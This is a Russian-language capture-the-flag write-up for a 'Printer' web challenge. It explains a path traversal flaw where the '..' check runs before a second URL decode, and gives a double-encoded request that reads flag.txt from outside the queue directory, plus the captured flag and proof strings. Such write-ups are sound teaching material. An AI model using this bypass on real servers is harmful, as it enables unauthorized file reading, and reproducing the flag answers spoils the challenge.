# Printer — разбор решения ## Разведка - Главная страница `/` показывает список файлов в очереди печати. - Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`. - В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`. ## Уязвимость В `/jobs/preview` путь для чтения строится так: 1) `once = decodeURIComponent(raw)` 2) Проверка `once.includes('..')` 3) `p = decodeURIComponent(once)` (возможен и третий decode) 4) `path.join(QUEUE_DIR, p)` Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`. ## Эксплуатация Дважды кодируем `..` и `/`: - `..` → `%2e%2e` → `%252e%252e` - `/` → `%2f` → `%252f` Запрос: ``` /jobs/preview?file=%252e%252e%252fnotes%252fflag.txt ``` Промежуточные преобразования: - после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`) - после второго decode: `../notes/flag.txt` `path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага. ## Результат Ответ содержит содержимое `flag.txt`, включая флаг: ``` caplag{chain_m_printer_traversa} PRINTER_PROOF=printer-proof-3d3130 GAME_code=Printer-1s-down-move-next ```